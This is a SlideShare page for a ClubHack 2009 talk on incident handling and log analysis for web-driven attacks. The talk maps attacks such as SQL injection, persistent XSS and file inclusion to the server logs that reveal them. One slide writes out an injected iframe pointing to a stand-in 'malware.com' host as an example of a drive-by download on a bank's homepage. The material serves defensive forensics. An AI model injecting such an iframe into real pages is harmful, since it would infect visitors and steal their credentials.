Manindra kishore _incident_handling_n_log_analysis - ClubHack2009
•Download as PPS, PDF•
0 likes•2,369 views
The document discusses analyzing web server and database server logs to investigate security incidents. It provides examples of analyzing web server logs to filter relevant requests and validate variables. It also discusses analyzing database query logs to detect SQL injection and persistent cross-site scripting attacks, and analyzing error logs to detect brute force attacks on the database server. The document aims to demonstrate an approach to incident analysis through log parsing and pattern matching.
![Web Incidents - Overview ,[object Object],[object Object],[object Object]](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)
More Related Content
What's hot
What's hot (20)
Similar to Manindra kishore _incident_handling_n_log_analysis - ClubHack2009
Similar to Manindra kishore _incident_handling_n_log_analysis - ClubHack2009 (20)
More from ClubHack
More from ClubHack (20)
Recently uploaded
Recently uploaded (20)
Manindra kishore _incident_handling_n_log_analysis - ClubHack2009
- 1. Incident Handling & Log Analysis in a Web Driven World Manindra Kishore
- 6. Web site distributes malware http://bank.com/homepage.jsp Exploits and Adds iframe Tag <iframe src =“http://malware.com/malware"> </iframe> in page http://bank.com/homepage.jsp Infected page Access request http://bank.com/homepage.jsp Infected page served to user Accesses http:// bank.com/homepage.jsp and finds out vulnerabilities Home Page gets infected Connection made to external site and malware gets downloaded in background User <html> <body> . . . . <iframe src =“http://malware.com/malware"> </iframe> . . </body> </html> UserID & Pswd
- 7. Incident occurred !!! What to do now?
- 11. Grounds for forensics: Log Analysis
- 13. Mapping Attack patterns to Logs OS Logs Physical access to the server and copying data on removable media Network Device Logs (Firewall + Switch) Compromise of another server and gain access to this server through a vulnerability there or by trust abuse of that server Web Logs/OS Logs/Database Logs File upload of malicious file Individual Network Service Logs Identification of all other network services and check if any other way in Application Logs/Database Logs Vulnerability inside the application which allows DB backup/restore Web Logs/OS Logs/Database Logs Upload an executable which will take a backup of the database and dump it out OS Logs Brute forcing SAM file , RDP in and stealing database Web Logs Files available on the website found through directory browsing Database Logs/OS Logs Direct connection to the Database and retrieve data FTP Logs Anonymous FTP / brute force passwords and steal backup stored Web Logs/Database Logs PHP Code Injection to retrieve database password Web Logs/Source Code PHP Local and Remote File inclusion to obtain source code and passwords Web Logs/Database Logs/Database Backup Persistent XSS on website Web Logs/Database Logs SQL Injection in the application injecting Iframe into database Web Logs/Database Logs SQL Injection in the application retrieving data
- 30. Thank You. Manindra Kishore Information Security Analyst / Consultant [email_address] Questions welcomed…
Editor's Notes
- Attacker compromised the site and injected an <iframe tag> in the home page. The iframe tag pointed to an external website that was hosting malware. When a user visited the bank's site, the home page downloaded the malware in the background and infected the browser. The malware would steal passwords the user types in and will mail the attacker.